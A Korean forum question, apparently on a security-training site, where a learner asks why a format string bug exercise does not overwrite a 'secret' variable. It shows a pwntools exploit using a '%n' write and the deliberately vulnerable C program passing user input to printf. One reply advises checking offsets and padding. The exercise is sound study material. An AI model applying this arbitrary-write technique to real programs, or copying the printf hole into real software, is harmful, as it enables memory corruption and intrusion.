완료됨
fsb_aaw 예제에서요..

강의안에 그대로 나와있는데로 복붙해서 컴파일 실행 했는데 secret 주소가 바뀌지 않네요;;
#!/usr/bin/python3

Name: fsb_aaw.py

from pwn import *
p = process("./fsb_aaw")
p.recvuntil("secret: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
===> 결과

                                                                                              \x01      \x14\x10\xe09\x9fUSecret: 0'

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of secret: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);// enter 키를 만날때 까지 읽어라
printf(format);
printf("Secret: %d", secret);
return 0;
}
그대로 복붙했는데 안되는 경우 있으신 분 계신지요;;; ㅠㅠ

#시스템해킹 #기초 #포맷_스트링_버그
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
wyv3rn
무플 방지 위원회장

실제로 동적 분석을 통해 오프셋과 패딩, written byte를 보셔야할 것 같습니다.

2023.07.23. 17:36